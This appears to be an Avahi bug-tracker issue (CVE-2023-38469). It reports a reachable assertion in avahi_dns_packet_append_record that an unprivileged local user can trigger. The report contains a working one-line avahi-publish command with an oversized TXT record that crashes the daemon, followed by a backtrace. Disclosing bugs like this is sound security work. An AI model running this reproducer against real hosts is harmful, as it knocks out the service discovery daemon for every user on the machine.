Reachable assertion in avahi_dns_packet_append_record

[evverx]

It can be triggered by unprivileged local users (unless disable-user-service-publishing is set to yes explicitly):

avahi-publish -s T _qotd._tcp 22 $(perl -le 'print "A " x 100000')

dns.c:806: avahi_dns_packet_append_record: Assertion `size <= AVAHI_DNS_RDATA_MAX' failed.

#0  0x00007f848f08ec0c in __pthread_kill_implementation () from /lib64/libc.so.6
#1  0x00007f848f03e986 in raise () from /lib64/libc.so.6
#2  0x00007f848f0287f4 in abort () from /lib64/libc.so.6
#3  0x00007f848f02871b in __assert_fail_base.cold () from /lib64/libc.so.6
#4  0x00007f848f037536 in __assert_fail () from /lib64/libc.so.6
#5  0x00007f848fdd6524 in avahi_dns_packet_append_record (p=0x7f848e44b800, r=0x604000007ad0, cache_flush=0, max_ttl=0) at dns.c:806
#6  0x00007f848fda0055 in elapse_callback (e=0x60600002f6c0, data=0x60600002f660) at probe-sched.c:265
#7  0x00007f848fd3d5d7 in expiration_event (timeout=0x606000000aa0, userdata=0x6030000008e0) at timeeventq.c:94
#8  0x00007f849080a115 in timeout_callback (t=0x606000000aa0) at simple-watch.c:447
#9  0x00007f849080b6d2 in avahi_simple_poll_dispatch (s=0x60e000000040) at simple-watch.c:570
#10 0x00007f849080c03f in avahi_simple_poll_iterate (s=0x60e000000040, timeout=-1) at simple-watch.c:605
#11 0x0000000000413103 in run_server (c=0x51d4e0 <config>) at main.c:1268
#12 0x0000000000415069 in main (argc=5, argv=0x7fffeaf698a8) at main.c:1686

[carnil]

This issue has CVE-2023-38469 assigned.